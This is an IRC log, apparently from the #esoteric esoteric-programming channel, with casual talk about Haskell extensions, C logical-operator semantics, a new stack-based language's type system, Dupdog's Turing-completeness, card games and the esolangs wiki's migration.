01:53:38 <oklopol> weren't you a gay-bashing christian when you were your sister's age
01:53:42 <pikhq> They ramble on a bit, but basically say shit like "gayness comes from child sex abuse" and "gay sex is more pleasurable than straight sex, therefore if we accept gayness people will die"
01:54:26 <pikhq> I was a Christian then, but gaybashing? Hah.
01:56:29 <pikhq> It's a little bit hard to be gaybashing when you know most of the gay people at your school.
01:56:44 <oklopol> well gayness is kind of dangerous, what with us running out of people and all.
01:56:56 <oklopol> everyone needs to procreate while we still can
01:57:42 <oklopol> i mean can you believe the moon is still completely empty
01:58:04 <pikhq> Yeah... Need to get a scientist to lie and say there's oil on the moon.
01:58:19 <pikhq> It'll be liberated this time next year!
01:59:28 <fungot> \o| |o| |o/ \m/ \m/ |o/ \o/ \o| \m/ \m/ \o| |o| |o/
01:59:29 <myndzi> | | | `\o/´ | | | `\o/´ | | |
01:59:29 <myndzi> >\ /| /< | /´\ |\ /| | >\ /| /<
02:00:21 <Sgeo> We did a Booster Draft
02:00:33 <Sgeo> (Except perhaps not as strict about talking)
02:01:05 <oklopol> pikhq: the problem is obviously no one will believe a single scientist unless he manages to get multiple publications in a peer-reviewed journal.
02:01:40 <pikhq> I think we could get a bunch of astronomers to agree to the claim.
02:01:52 <pikhq> And perhaps an astrophysicist or two.
02:01:57 <oklopol> and perhaps some astrologists
02:02:14 <pikhq> Heck, won't even need to work for *that*.
02:02:25 <pikhq> If it sounds like a neat idea, the astrologists will go with it. :P
02:03:55 <oerjan> the moon is the most fluid planet, of course there's oil there.
02:05:40 <oklopol> i hear there's water there. and not just one molecule, but like hundreds of them.
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02:14:43 <Sgeo> Honestly, I think I really really hate the "collectible" part of CCG
02:14:57 <Sgeo> Paying money on a regular basis to be able to play a game
02:15:01 <pikhq> Agreed. It's the weakest feature of Magic.
02:15:10 <Sgeo> More money = more versitality.
02:15:13 <Sgeo> It's kind of bleh
02:15:43 <pikhq> Particularly the fact that there's a lot of deckspace that most people can't access.
02:15:51 * Sgeo hmms at http://cockatrice.de/
02:16:40 <Sgeo> (which was linked to from reddit)
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02:17:18 <Sgeo> (I know there are other programs like it, but I forget their name offhand)
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02:23:04 <Sgeo> http://magiccards.info/uqc/en/6.html
02:23:12 <Sgeo> That looks hard to deal with
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03:34:23 <zzo38> One of the rules in my new idea of game similar to Magic: the Gathering, is each card is worth a certain number of poker chips, and this value is printed on the card. It has no effect during a duel, but whatever cards you drafted could be traded for poker chips and poker chips for card other people sold to you, and so on. Poker chips earned for winning a duel depends on backgammon doubling, overmate, and so on.
03:36:38 <zzo38> What is your idea of this idea?
03:37:56 <ais523> zzo38: you should write Mornington Crescent rulesets
03:38:52 <zzo38> ais523: I think I might; I do have a map of the London Underground. So, I will do so after I make a larger copy, and make up some cards.
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04:17:59 <zzo38> Ideas for addition optimisation flag for Haskell compiler: -fuse-optimisation-files -fassume-no-error -fcrashable -fauto-strictify -fsafe-core -fall-modules-together -fmemory-threshold -fdisk-threshold -falgebraic -ftry-everything
04:22:14 <ion> -funroll-loops -O9999
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04:29:19 <oerjan> why would you want to fuse optimisation files anyhow.
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05:09:21 <oerjan> dammit r/physics why have you combined the subreddit links in the sidebar
05:13:06 <oerjan> i _hate_ when things change :(
05:20:12 <oerjan> hm... if i change to visiting r/particlephysics first, that _does_ have four of my other favorites linked in its sidebar
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05:20:24 <oerjan> (what do you _mean_ i could register?)
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10:49:05 <Taneb> HTML really could do with a "yesscript" element
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10:50:51 <cheater_> html is a very failed technology
10:51:05 <Taneb> It's pretty widespread
10:52:16 <fizzie> What, someone uses HTML? How bizarre. I thought everyone was all SMIL or whatever.
10:54:19 <cheater_> fizzie: i'm just waiting for the whole SPDY/Rust stack to close in on html and do away with it
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11:10:42 <Taneb> Everybody look at my updated website at http://www.vandoorn.talktalk.net/esoteric/ so I can fulfil my need for appreciation
11:11:17 <Taneb> And so it can be tested for browsers with Javascript disabled
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11:28:16 <cheater> does your brainfucky thing translate to haskell
11:30:09 <Taneb> Not really, haskell doesn't like lambda-y recursion
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11:40:13 <lambdabot> Occurs check: cannot construct the infinite type: m = (->) (m a)
11:40:14 <lambdabot> Probable cause: `id' is applied to too few arguments
11:40:14 <lambdabot> In the first argument of `join', namely `id'
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11:42:30 <zzo38> I think pattern matching of numbers in Haskell, instead of Num class should be another one: class IntegerLiteral x where { fromInteger :: Integer -> x; eqInteger :: Integer -> x -> Bool; } And the similar thing for fractional number literal too
11:43:15 <cheater> Taneb: that's ok, i still wish there were a bf-like high-level language that compiles to low-level languages like haskell (:
11:43:38 <cheater> zzo38: that was completely out of context and made no sense
11:44:11 <zzo38> cheater: I know, but I have just connected
11:45:23 <cheater> zzo38: btw, have you looked at type promotion? it's a fairly recent type system extension for haskell
11:45:55 <zzo38> Yes I have looked.
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11:46:40 <Taneb> Is there an option that allows me to construct infinite types?
11:47:35 <cheater> but you might try asking in #haskell
11:48:46 <zzo38> There are many extensions I wanted but that the Haskell people hate
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11:58:23 <Taneb> Apaprently there isn't such an option
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12:05:17 <cheater> Taneb: how did you make it apparent ?
12:08:26 <Taneb> Also searched the flag reference
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13:36:43 <cheater> Phantom_Hoover: no can do sir
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14:03:11 <kallisti> I wish there was a definite order for numeric whois replies on IRC....
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14:39:33 <Taneb> The topic's ///, right?
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15:18:37 <fizzie> "Please contact the server administrator, [no address given] and inform them of the time the error occurred, --"
15:18:49 <fizzie> I'll get right on that.
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18:13:37 <Taneb> I'm watching /Harry Hill/
18:13:40 <fizzie> Better that than being a bored God. At least for others.
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18:26:31 <Taneb> Why did nobody tell me Antiques Roadshow was on!?
18:27:17 <fizzie> Why would you watch such drivel when the Finnish presidential election is on!?
18:27:31 <fizzie> Though it's a really boring one, there's two candidates and an obvious winner.
18:27:38 <fizzie> (It's the second round.)
18:30:04 <Taneb> Wow, I didn't know that channel existed
18:30:20 <Taneb> Is Sauli Niinisto the right election?
18:31:45 <Taneb> The Finnish election is the only thing in English Language Euronews
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18:41:57 <fizzie> And apparently also the only possible winner, too. (530k uncounted votes, 660k lead.)
18:42:31 <Taneb> Unless the other guy cheats
18:42:56 <Taneb> There's one country in Africa where the president got 23000% or something of the votes
18:43:41 <monqy> that's a lot of votes
18:45:57 <fizzie> In my city, currently Sauli has 66.6% of the votes. Certainly this is a sign.
18:47:08 <Taneb> In my not-city, Guy Opperman got 43.2% of the votes.
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19:05:56 <monqy> `welcome Iambdabot
19:06:08 <HackEgo> Iambdabot: Welcome to the international hub for esoteric programming language design and deployment! For more information, check out our wiki: http://esolangs.org/wiki/Main_Page
19:09:37 <Taneb> ^echo I am Taneb, who is also Ngevd
19:09:37 <fungot> I am Taneb, who is also Ngevd I am Taneb, who is also Ngevd
19:09:49 <Taneb> ^echo fungot keeps repeating itself.
19:09:49 <fungot> fungot keeps repeating itself. fungot keeps repeating itself.
19:09:55 <fungot> Taneb: for me, was there ever a method written that could be fnord
19:09:58 <fungot> Available: agora alice c64 ct darwin discworld europarl ff7 fisher fungot homestuck ic irc* iwcs jargon lovecraft nethack pa qwantz sms speeches ss wp youtube
19:10:12 <fungot> Selected style: alice (Books by Lewis Carroll)
19:10:23 <Taneb> fungot: does this include his mathematical papers?
19:10:24 <fungot> Taneb: " no, no!" said the earl. " what, you know. there's glory for you!"
19:10:24 <shachaf> Taneb: You have 1 new message. '/msg Iambdabot @messages' to read them.
19:10:39 <Taneb> THAT'S WHAT YOU THINK
19:11:30 <Iambdabot> lambdabot said 5m ago: I'm not fit to be in #esoteric please kick me
19:12:03 <lambdabot> Taneb: You have 1 new message. '/msg Iambdabot @messages' to read them.
19:12:39 <lambdabot> monqy: You have 0 new messages. '/msg lambdabot @messages' to not read them.
19:12:44 <lambdabot> Iambdabot: You have 1 new message. '/msg lambdabot @messages' to read it.
19:13:05 <lambdabot> Iambdabot: You have 1 new message. '/msg lambdabot @messages' to read them.
19:13:17 <Taneb> > "what is going on?"
19:13:50 <Taneb> I reckon it's glogbot who's behind the bot rebellion
19:14:03 <lambdabot> <no location info>: parse error on input `>'
19:14:11 <Taneb> Well, I know it's not Pietbot.
19:14:22 <lambdabot> Not in scope: data constructor `I'Not in scope: `blame'Not in scope: data c...
19:16:51 -!- Pietbot has joined.
19:17:05 <Taneb> Pietbot still doesn't do anything
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19:18:31 <Gregor> !c printf("%d\n", 0 || 2);
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19:19:37 <monqy> is )df iiisso a pietbot deadfish thing
19:19:52 <Taneb> Or it will be when it works
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19:23:47 <Gregor> Hmmm, does the C spec define the logical operators to always evaluate to 0 or 1, or is that a property of GCC?
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19:27:42 <fizzie> Gregor: "Each of the operators yields 1 if the specified relation is true and 0 if it is false."
19:27:52 <fizzie> (C99, but I really do think C90 had that property too.)
19:29:14 <fizzie> "Each of the operators < (less than), > (greater than), <= (less than or equal to), and >= (greater than or equal to) shall yield 1 if the specified relation is true and 0 if it is false." (That one C89 draft that's floating around.)
19:29:14 <shachaf> !! is a very old idiom, I think.
19:29:55 <fizzie> Oh, I didn't bother checking !. But it, too.
19:30:45 <fizzie> "The || operator shall yield 1 if either of its operands compare unequal to 0; otherwise, it yields 0" might've been the more relevant quote.
19:31:12 <Gregor> Ohyeah, should've thought about !!.
19:31:22 <Gregor> I'm so glad this channel is a better ##c than ##c X-D
19:31:25 <Deewiant> Heh, so instead of '!!x' you can do 'x || false'?
19:32:05 <Gregor> Well, "false" is only meaningful with the utterly sinful stdbool.h
19:32:12 <Gregor> But x || 0, I suppose.
19:35:25 <fizzie> "Or x ^^ 0 OH WAIT no logical xor."
19:36:49 <Gregor> Logical xor is !=, except that != doesn't have the same properties of C's non-booleans as the other logical operators do, so nya ^^
19:39:20 <kallisti> ...now only if there was a biconditional. :>
19:39:24 <kallisti> I COULD DO REAL LOGIC PROGRAMMING
19:40:09 <Gregor> Get back to prologin' yer prolog you prolog prolog prologue.
19:40:21 <kallisti> (spoiler: biconditional is == )
19:41:00 <Gregor> With all the same caveats, naturalismo.
19:41:15 <Gregor> Get back to prologin' yer prolog you prolog prolog prologue.
19:41:31 * kallisti has actually been learning a little Prolog
19:41:35 <kallisti> haven't written anything though.
19:42:22 <kallisti> I've been too busy writing an obscene Haskell-to-C library for the plugin system of a bot written in C.
19:42:47 <kallisti> just to familiarize myself with such things.
19:43:16 <fizzie> #define lop(v00,v01,v10,v11,a,b) (a?(b?v11:v10):(b?v01:v00)) and then you never need to touch a logical operator any more, since instead of a && b you can just write the more clearer lop(0,0,0,1,a,b). Except it doesn't short-circuit right.
19:43:47 <fizzie> Also put some parens in that macro, man.
19:44:12 <fizzie> Also "lop your hand off".
19:44:43 <fizzie> I'm sure that wasn't the first use, but probably not like that.
19:45:14 <kallisti> you could call it THE TRUTH TABLE OPERATOR
19:45:38 <Taneb> What if you want a ternary operation?
19:45:47 <fizzie> Or BiTruFu, for binary truth function.
19:46:00 <fizzie> You just define a lop3.
19:46:08 <fizzie> Or TeTruFu, if you like.
19:47:19 <fizzie> Or a int ntrufu(int arity, ...); with <stdarg.h>.
19:48:00 <fizzie> The name fits within the 6 significant-for-external-identifiers characters and all.
19:49:27 <fizzie> ntrufu(2,0,0,0,1,a,b) is objectively speaking 5.25 times better than a&&b.
19:49:47 <fizzie> (Yes, I just counted the number of characters. Are you saying that's not objective?)
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19:53:28 <Taneb> Cunningly, my school has decided to teach us the Statistics 2 module before Statistics 1
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20:25:32 <ion> In the local polytechnic the mechanics classes constantly used things we had just supposedly learned in the algebra classes. Which was just fine, except that for some reason the algebra classes were exactly one week late from that schedule.
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20:44:33 <HackEgo> 2011-10-14.txt:20:23:13: <elliott_> `quote
20:46:58 <HackEgo> 2011-07-29.txt:23:56:38: <elliott_> hmm
20:47:50 <Gregor> oerjan: Trying to imagine a world with elliott in it again?
20:48:15 <oerjan> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
20:48:59 <Gregor> fizzie: Can we have an elliott mode for fungot?
20:49:00 <fungot> Gregor: the default garbage collector is a refrigerator, thermodynamically speaking. :p
20:49:26 <Gregor> Well that's gotta be verbatim. Too insightful.
20:49:58 <lambdabot> <no location info>: not an expression: `'
20:50:04 <fungot> Available: agora alice c64 ct darwin discworld europarl ff7 fisher fungot homestuck ic irc* iwcs jargon lovecraft nethack pa qwantz sms speeches ss wp youtube
20:50:11 <zzo38> O, yes... I don't know, though... You can still occasionally get proper sentences from random generation too
20:50:33 <zzo38> It still seems out of context though
20:50:47 <Gregor> Well, it wasn't just syntactically correct, it actually makes sense. Of course it's not in context, but taken as an independent statement it's internally sensible.
20:51:09 <zzo38> Gregor: Yes I know, I noticed that too
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20:54:28 <oerjan> <Gregor> Logical xor is !=, except that != doesn't have the same properties of C's non-booleans as the other logical operators do, so nya ^^
20:54:37 <oerjan> wait, what properties does it lack?
20:54:56 <Taneb> I have had a cunning idea
20:54:57 <zzo38> Such as using different nonzero values as boolean I suppose
20:55:45 <oerjan> oh hm right it doesn't treat different nonzeros as equivalent
20:58:05 <zzo38> But of course Haskell does have actual boolean type and /= means logical XOR there; I have used it for that purpose, in fact. In C and in BASIC, I have occasionally needed logical XOR (more so than in Haskell), and can use ^ usually in C if I know it is 0 or 1, I can use the ^= operator in C for that purpose.
21:00:12 <oerjan> <ion> In the local polytechnic the mechanics classes constantly used things we had just supposedly learned in the algebra classes. Which was just fine, except that for some reason the algebra classes were exactly one week late from that schedule.
21:00:22 <oerjan> someone _clearly_ hadn't read up on murphy's law.
21:01:34 <Gregor> http://www.youtube.com/watch?v=o0Bn4m6dQbI O_O
21:11:41 <fizzie> QBasic has the logical IMP operator, that's pretty rare.
21:12:17 <fizzie> (It has the boolean operators NOT, AND, OR, XOR, EQV and IMP.)
21:12:56 <fizzie> As an operator. As far as I know.
21:13:28 <ion> fizzie: Heh, interesting.
21:13:55 <fizzie> Also: "If the expressions evaluate to 0 or -1, a Boolean operation returns 0 or -1 as the result. Because Boolean operators do bit-wise calculations, using values other than 0 for false and -1 for true may produce unexpected results."
21:14:34 <ion> gregor: Yeah, i *love* that one. Too bad it’s out of sync.
21:14:45 <e^[i_pi]> Any programming languages with converse nonimplication?
21:17:52 <zzo38> fizzie: I know about all the operators QBASIC has; although, they all act bitwise (and I do occasionally mix bitwise with logical)
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21:24:51 <Gregor> ion: Yeah, the sync issue is annoying :(
21:25:16 <oerjan> the nice thing about using 0 and -1 is that you don't really need to distinguish logical and bitwise operators
21:25:48 <zzo38> oerjan: Yes, and I have used that. Both in BASIC, and in Forth.
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21:55:09 <zzo38> Oops, now my computer says [04:45/02:20] for a music file it is playing
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21:57:10 <Vorpal> <Gregor> http://www.youtube.com/watch?v=o0Bn4m6dQbI O_O <-- wow... I never heard anything like that on accordion before...
21:58:02 <Vorpal> also that is my favourite movement from Vivaldi's Summer
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22:15:08 <zzo38> I am now writing a Haskell preprocessor; I wrote much of it already. But not yet completely.
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22:23:39 <zzo38> So please tell me if you have any ideas/suggestions.
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22:39:19 <zzo38> Currently I have: * 0b110100 for binary integer literals. * 0'x' for ASCII/Unicode number of character literals. * {"..."} for WEB-style chunks. * #I to include file in path. * #J for wildcard includes (not currently working). * #D to define macros. * Various built-in macros.
22:53:13 <ion> You should ask that on #haskell.
22:54:57 <oerjan> i think it is rather predictable that #haskell won't like it
22:59:13 <oerjan> if someone hasn't seen it yet http://terrytao.wordpress.com/2012/02/01/every-odd-integer-larger-than-1-is-the-sum-of-at-most-five-primes/
23:05:21 <zzo38> I think people on #haskell hate a lot of my things
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23:09:10 <itidus21> oerjan: does that suggest 5 dimensional objects?
23:10:15 <itidus21> no i am reading too much into it
23:10:50 <oerjan> itidus21: well the (weak goldbach) conjecture is that 3 is enough, actually
23:11:03 <oerjan> primes that is, dunno about dimensions :)
23:12:42 <itidus21> hmmmmm... its ... i was reading the sentence wrong to begin with.. i think i'll just let it go
23:13:06 <oerjan> i'm not even going to delve into the proof enough to find out whether higher dimensional objects were used, but i doubt it.
23:14:28 <oerjan> itidus21: well half the comments on reddit were about the title being unambiguous, so nothing to worry about :P
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23:19:44 * kallisti can't wait for -XGeneralizedAlgebraicDataPolyKindInstanceFamilies
23:21:23 <oerjan> s/PolyKind/PolyConstraintKind/
23:23:22 <kallisti> soon to be incorporated into the -XOneMillionSpecialSubsetsOfDependentTyping extension.
23:23:48 <oerjan> nice rant http://www.reddit.com/r/math/comments/p5x53/every_odd_number_greater_than_1_is_the_sum_of_at/c3n1n14
23:25:05 <oerjan> kallisti: nah, oleg will prove you can actually embed full dependent typing into them
23:25:23 <oerjan> not in a way sane humans can _use_, though
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23:44:13 <zzo38> How many people hate my Haskell preprocessor, already?
23:45:11 <oklopol> at most 53, on this channel
23:45:38 <oerjan> i don't hate it. i probably wouldn't use it, though.
23:45:54 <oklopol> i don't use haskell do i don't anything your haskell preprocessor
23:46:12 <oerjan> also oklopol no use grammar
23:46:50 <zzo38> OK, probably you won't use it; but would you use any Haskell preprocessor at all?
23:47:49 <oklopol> i only use postprocessors that transform the program after its effects have been processed my brain.
23:48:03 <oklopol> for instance beer and whiskey
23:49:29 <zzo38> I do suppose, I could later on, write a Haskell postprocessor as well, using the compiler plugins feature, maybe
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23:56:50 <ColonelJ> ok I've been trying as hard as possible to make this language less esoteric but no one's buying it yet http://pastebin.com/hD890kVg
23:58:11 <ColonelJ> it's stack based and factorable like a concatenative language
23:59:11 <ColonelJ> indentation based like python to save on too many extra chars
23:59:19 <kallisti> sorry, you'll have to direct inquiries of that nature to our sister channel #un-esoteric
00:00:05 <ColonelJ> what if I told you if and else were implemented in the language
00:00:12 <kallisti> well, you said you need help making it less esoteric.
00:00:13 <ColonelJ> as in they aren't reserved words
00:00:25 <ColonelJ> oh nah I just came here for lulz
00:00:53 <oerjan> well i would certainly hope the language has no reserved words that readable, sheesh
00:01:07 <ColonelJ> there aren't any reserved words at all in fact
00:01:56 <ColonelJ> @ic?ifchain{>$b[] >$sb[=b []=sb ic]} ic
00:01:56 <ColonelJ> @elif?[ifchain bool ~:ifchain]:#f if_t: .sb(f)
00:01:56 <ColonelJ> @else?[* ifchain ~:*]:#f .sb(f) .b#
00:04:01 <kallisti> are you sure bool isn't a reserved word?
00:04:32 <ColonelJ> well it's one of the built-in types
00:04:45 <ColonelJ> if you want to you can override bool with a different type in an inner-scope
00:05:01 <ColonelJ> also all types are optional you never have to state them anywhere
00:05:16 <ColonelJ> it's a dynamically typed language apart from where you specify types
00:06:05 <ColonelJ> for esoteric programming I guess you wouldn't bother with typing stuff
00:06:14 <kallisti> actually these highly dynamic pet project things are surprisingly common...
00:06:37 <kallisti> Glass is an esoteric OO language!
00:06:38 <oerjan> unless you make the type system turing-complete.
00:07:30 <ColonelJ> I'm more worried about my type system being decidable at the moment
00:07:41 <oerjan> ...i'm not sure there actually exists a statically typed esoteric language.
00:07:58 <kallisti> oerjan: I'm almost certain there is.
00:08:05 <ColonelJ> never mind that I'm talking rubbish
00:08:50 <ion> Haskell? /me ducks
00:09:36 <oerjan> it catches type errors at compile time? i have never tried to run anything in it...
00:09:54 <kallisti> but the type of every variable is known at compile time... so....
00:10:26 <kallisti> but you might be able to rewrite the variable to a different type later...
00:10:50 <oerjan> Gregor: is ORK statically typed?
00:11:06 <ColonelJ> the philosophy of my language is that adding types to variables can allow the compiler to do more optimizations on the code and catch some type errors at compile time
00:11:33 <ColonelJ> any that can't be detected or proven will be found at runtime
00:11:55 <Gregor> oerjan: ORK is a really poor choice of syntax for C++.
00:11:55 <ColonelJ> as the compiler becomes more developed more are detected at runtime rather than compiletime
00:12:41 <oerjan> Gregor: i take that as a yes.
00:12:44 <kallisti> ColonelJ: http://en.wikipedia.org/wiki/Hindley%E2%80%93Milner
00:12:49 <oerjan> Gregor: hm does the same apply to Glass?
00:13:07 <Gregor> oerjan: Glass is dynamic and nonsensical.
00:13:16 <kallisti> ColonelJ: you could use this to infer types at compile-time if you wanted.
00:13:30 <Gregor> It's Forth meets Smalltalk meets torture.
00:13:31 <ColonelJ> I was planning to use some extension of it
00:13:41 <kallisti> Glass is awesome what are you talking about.
00:13:42 <ColonelJ> because it's a stack based language I can't use it directly
00:13:58 <ColonelJ> stack languages have stack effect systems instead
00:14:07 <ColonelJ> so it will be some strange hybrid of both
00:14:19 <ColonelJ> currently I'm basing the types on regular expressions
00:14:19 * kallisti has a plan to make a really simple revision to dupdog.
00:14:30 <kallisti> that might actually make it easier to prove turing-completeness
00:14:50 <oerjan> Gregor: i thought so but in principle none of that _prevents_ it being statically typed :P
00:15:06 * kallisti sets out to make a statically typed stack based language. :>
00:15:19 <ColonelJ> proving turing completeness isn't hard
00:15:37 <kallisti> ColonelJ: http://esoteric.voxelperfect.net/wiki/Dupdog by all means go ahead
00:15:38 <oerjan> well, i guess Cat's type system never really got to work, so stack based and statically typed don't go too well together
00:15:40 <ColonelJ> kallisti: one exists already it's called Cat
00:16:05 <Gregor> <oerjan> Gregor: i thought so but in principle none of that _prevents_ it being statically typed // it'd be ... painful. But perhaps not impossible.
00:16:32 <oerjan> the type system part never got implemented, or possibly it was dropped again
00:17:14 * kallisti doesn't think it would be too difficult actually.
00:18:44 <oerjan> kallisti: type inference for stack based languages has special needs
00:19:48 * kallisti sets out to make a statically typed /esoteric/ stack based language.
00:19:50 <ColonelJ> anyway for starpial basically the type system is ?type or ?[input1type in2type in3type : out1type out2type out3type]
00:19:54 <oerjan> like types for segments of stack, which might be arbitrary length if you want polymorphism
00:20:07 <ColonelJ> and it uses regular expressions to handle stupid stuff
00:20:35 <ColonelJ> + being one or more anythings and * being 0 or more anythings
00:21:06 <ColonelJ> but functions like this are obviously going to give the type inference algorithm a lot of problems
00:21:43 <ColonelJ> @list?[* int:{*}]: #n n 0 > [dip[n 1 - list] push] {} ?#
00:22:10 <ColonelJ> number of arguments consumed depends on an integer which might not be known at compile time
00:22:43 <oerjan> ColonelJ: well that makes it dependent typing, which is obviously undecidable
00:23:35 <ColonelJ> [00:07] <ColonelJ> I'm more worried about my type system being decidable at the moment << and that's why this was rubbish because it's impossible
00:26:06 <Jafet> When in doubt, add another quantifier
00:27:12 <oerjan> for all cases where doubt exists, always add another possible quantifier
00:30:09 <ColonelJ> I was thinking of allowing the language to try to find a valid value of an uninitialized variable that doesn't cause the program to crash, in the same way that prolog does
00:30:45 <ColonelJ> so that the language can spread over the whole imperative/functional/logic categorizations
00:31:56 <Jafet> "My language is multipathologic"
00:33:12 <ColonelJ> ironically it's meant to make programs more secure and verifiable
00:33:55 <ColonelJ> just because the type system is undecidable doesn't stop it being doable for a large range of programs
00:34:53 <Jafet> Or you can require that programs are valid only if their types can be verified by some algorithm
00:35:21 <ColonelJ> I could but where would be the fun in that
00:36:01 <Jafet> You can release different versions of the algorithm, ensuring language versions are never fully compatible
00:36:31 <ColonelJ> the language itself is always compatible but what each implementation is able to verify may differ
00:36:33 <Jafet> Hmm, that joke might hit too close to home
00:37:41 <ColonelJ> kallisti: dupdog isn't turing complete
00:38:58 <ColonelJ> there's nowhere to store any extra state and the length of the program is monotonically decreasing
00:39:23 <ColonelJ> turing machine requires potentially infinite state
00:39:40 <oerjan> ColonelJ: um no it's not monotonically decreasing
00:40:46 <ColonelJ> maybe I thought it only duplicated that character
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00:49:50 <ColonelJ> does it matter if the program spits out random crap while simulating a turing machine
00:50:53 <oerjan> not as long as it's easy to filter out
00:51:42 <oerjan> e.g. the bitwise cyclic tag proof assumes all deleted bits are printed
00:52:07 <oerjan> of course it would be nicer if you could actually do nice output
00:52:46 <Jafet> You can relax the definition of turing-completeness a long way
00:53:28 <Jafet> Eg. if determining the final state of some wolfram crank automaton is turing-complete, you can say the automaton is turing-equivalent
00:54:28 <ColonelJ> anyway I'm just having trouble seeing how this language can encode any state that actually affects the running of the program
00:55:53 <ColonelJ> just need a way to store that..
01:01:23 <ColonelJ> I guess for a practical implementation of this language you'd just delete everything except the start and the end
01:09:41 <Gregor> What's the current preferred non-terrible pastebin?
01:10:03 <Sgeo> Chromium is starting to irritate me these days
01:10:28 <zzo38> Sgeo: In what ways? Perhaps use something else or modify Chromium
01:10:39 <zzo38> Gregor: Best is sprunge, in my opinion
01:10:43 <Sgeo> zzo38, some pages don't work properly
01:12:49 <oerjan> ColonelJ: as i recall, it's not easy to prove you won't need to go arbitrary deep into it
01:13:48 <oerjan> my idea for a practical implementation is to use a data structure with lots of internal sharing
01:17:19 <ColonelJ> there's really literally nothing used other than the start and the end
01:18:00 <oerjan> ColonelJ: um every command character deletes itself before running
01:18:02 <ColonelJ> but yea you could probably make it so you have a perfect implementation by keeping track of where the copying happened so you can get the inside stuff back
01:19:31 <ColonelJ> anyway back to turing land, still having trouble seeing how it's possible to store data given that you can't add anything to the code or even rearrange it
01:20:05 <oerjan> well there's a reason it's still unresolved :P
01:21:14 <oerjan> now once you run that s part, the two duplicated parts won't be identical any longer
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01:21:41 <oerjan> and it starts looking insanely complicated which commands will get run
01:22:12 <oerjan> but is it complicated enough to make it tc? we don't know.
01:23:27 <ColonelJ> my point was that the start and end are still the same so they haven't moved
01:23:47 <ColonelJ> reversing it has no effect either
01:23:47 <oerjan> otoh if you make the assumption that there _is_ some part inside that you will never get to ever (even in duplicated form), then keeping just the start and end does seem enough
01:24:01 <ColonelJ> it seems like a good assumption to me
01:24:30 <oerjan> hm except you _must_ get to _some_ copy of every command, eventually, i think.
01:25:32 <oerjan> and once you have traversed the entire length from the original s to e, suddenly it is not enough to keep track of just start and end any more
01:26:32 <ColonelJ> tbh I think you only need to keep track of the duplications
01:26:46 <ColonelJ> that's already logarithmic in the size of the source code as it grows
01:26:59 <ColonelJ> so that's something you can reasonably store
01:27:43 <oerjan> yes, that was my idea with the sharing
01:29:00 <zzo38> There are so many things I can think of for Haskell extensions which might be useful to me but many people hate. I thought of another one now, which would be -XWildcardImports which allows you to write import X.Y.Zzz.*; import qualified Xyz.Abc.* as XyzAbc; import qualified Abc.Xyz.* as AbcXyz.*;
01:29:11 <ColonelJ> anyway you're right on the every symbol being accessed thing
01:29:34 <ColonelJ> the program pointer is indeed monotonically moving through the source code from both directions
01:29:54 <monqy> zzo38: how does that work portabilitywise
01:29:59 <ColonelJ> the interesting stuff happens at the boundaries
01:30:24 <zzo38> monqy: Can you ask a question better, please? I do not completely understand your question
01:32:26 <monqy> from what I can see it: (1) makes dependency tracking harder (2) makes it so things may fail to compile if someone has all the proper dependencies but also some other things that cause conflicts when imported by the wildcard
01:33:28 <zzo38> monqy: One thing is that, if there are directories with these names in the current program, it uses only the modules in the current program and not other packages, is one of my ideas. And if you want other packages wildcard imports you must name them explicitly.
01:33:49 <zzo38> Therefore it will not cause conflicts.
01:34:48 <monqy> what happens if there are not directories with those names in the current program
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01:35:07 <zzo38> monqy: Then you get an error if you have not named the package explicitly.
01:35:56 <zzo38> And then, the explicit package naming can also include wildcards, but if you do so, you must explicitly tell the compiler to unhide the packages you want (and that can also include wildcards).
01:36:26 <lambdabot> expecting variable, "(", operator or ")"
01:36:39 <zzo38> But if there is such a directory ("X/Y/Zzz/" in the first example), but contains no files, that wildcard import declaration is silently ignored.
01:36:57 <kallisti> zzo38: I would use #let for macros, but that conflicts with hsc2hs macro syntax
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01:39:01 <zzo38> kallisti: I didn't know that, but mine has # followed by a letter to indicate what kind of macro you want, such as #D define normal macro, #{ to enter a named chunk and #P for the main program again, etc (somewhat similar to WEB, although using # instead of @)
01:40:43 <zzo38> Other idea for Haskell extension is -XHideNonexist which allows a hiding clause of an import declaration to specify things which the named module does not export, without causing warning/error messages.
01:41:55 <zzo38> kallisti: For example, #{"hello world"} creates a named section {"hello world"} and then everything beyond that point until another #{ or a #P will be part of that chunk, so #P is the things directly entered into the program rather than a named chunk.
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01:49:17 <oerjan> :t (`id` ?x `flip` ?y)
01:49:18 <lambdabot> The operator `id' [infixl 9] of a section
01:49:18 <lambdabot> must have lower precedence than that of the operand,
01:52:34 <zzo38> And then there could be -XZeroParamTypeClasses which allow you to make a class with zero parameters, which means it can have only one instance (although it does not have to be defined in the same module)
01:53:11 <zzo38> (And with -XInstanceDisambiguation you could have multiple instances in different files which you can specify which is used)
01:53:24 <oerjan> :t id `flip` ?x `flip` ?y
01:53:25 <lambdabot> forall a a1 b. (?x::a, ?y::a1) => (a -> a1 -> b) -> b
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02:05:36 <oerjan> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA a zombie
02:05:47 <elliott> in the next few days I'm planning to set up MediaWiki on pyralspite, with the intention of importing the daily database dumps of the esolangs wiki and hopefully pointing esolangs.org over there
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02:06:05 <elliott> since graue said (via ais) he was open to someone taking over administration. and because this spam is really annoying.
02:06:39 <Gregor> Sooooo you ended your strike in order to try to shanghai the site???
02:06:53 <elliott> Gregor: What strike, what shanghaiing
02:07:04 <oerjan> WHY DON'T YOU COME HERE ANY MORE
02:07:55 <elliott> Graue doesn't have time to care for the site any more, it's badly in need of a MediaWiki upgrade, and spam now completely fills the recent changes (yesterday you had to increase the shown number of items to see the _legitimate_ changes that got made earlier in the day)
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02:08:37 <oerjan> i've been using ?limit=250 or whatsitsname for a while
02:08:44 <elliott> I was merely letting people know I'm intending to do such in the next few days, since I have the free time and the server, so that they could contact me with anything they found relevant (e.g. extensions they'd like or such).
02:09:44 <elliott> But by all means revel in your discovery of my dastardly plot to burden myself with installing and configuring anti-spam and caching extensions and administrating a PHP server :)
02:11:15 <elliott> oerjan: Because I hear this place isn't terribly interesting recently.
02:11:17 <oerjan> and then you'll enslave us all, right?
02:11:32 <Gregor> (Apparently "dastard" is a word, at least according to my spell checker. I have no idea what it means, and it's probably not a noun)
